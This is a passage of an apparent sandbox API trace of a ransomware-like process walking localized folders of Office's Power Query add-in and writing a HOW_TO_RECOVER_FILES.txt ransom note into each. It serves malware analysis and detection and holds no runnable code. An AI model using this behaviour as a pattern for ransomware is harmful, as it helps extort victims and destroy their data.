nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0215.794] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc34bb5b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0215.794] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0215.794] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0822be8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0822be8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0215.794] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0822be8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0822be8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0215.795] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0215.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0215.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0215.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0215.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0215.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\nl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0215.798] GetFileType (hFile=0x820) returned 0x1 [0215.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0215.798] GetFileType (hFile=0x820) returned 0x1 [0215.798] WriteFile (in: hFile=0x820, lpBuffer=0x35fd748*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x35fd748*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0215.799] CloseHandle (hObject=0x820) returned 1 [0215.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0215.799] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no", lpFilePart=0x0) returned 0x68 [0215.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0215.800] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.801] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4620012, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0215.801] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4409f1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4409f1c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0215.801] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8680a1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0215.801] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5ae112, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5ae112, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0215.801] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.801] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0215.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0215.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0215.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0215.802] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no", lpFilePart=0x0) returned 0x68 [0215.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0215.804] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.805] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4620012, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0215.805] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4409f1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4409f1c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0215.805] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8680a1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0215.805] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5ae112, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5ae112, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0215.805] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5ae112, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5ae112, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0215.805] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0215.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0215.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0215.806] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0215.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0215.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\no\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0215.808] GetFileType (hFile=0x820) returned 0x1 [0215.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0215.809] GetFileType (hFile=0x820) returned 0x1 [0215.809] WriteFile (in: hFile=0x820, lpBuffer=0x3610f60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3610f60*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0215.810] CloseHandle (hObject=0x820) returned 1 [0215.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0215.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl", lpFilePart=0x0) returned 0x68 [0215.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0215.811] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.812] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c895d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c895d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4caf7cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0215.812] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0215.812] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0215.812] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf854e731, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8574958, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8eaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0215.812] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.812] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0215.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0215.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0215.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0215.813] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl", lpFilePart=0x0) returned 0x68 [0215.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0215.814] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.814] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c895d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c895d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4caf7cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0215.814] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0215.814] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0215.815] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf854e731, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8574958, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8eaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0215.815] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf854e731, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8574958, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8eaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0215.815] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0215.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0215.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0215.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0215.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0215.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\pl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0216.820] GetFileType (hFile=0x630) returned 0x1 [0216.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0216.820] GetFileType (hFile=0x630) returned 0x1 [0216.820] WriteFile (in: hFile=0x630, lpBuffer=0x3644b20*, 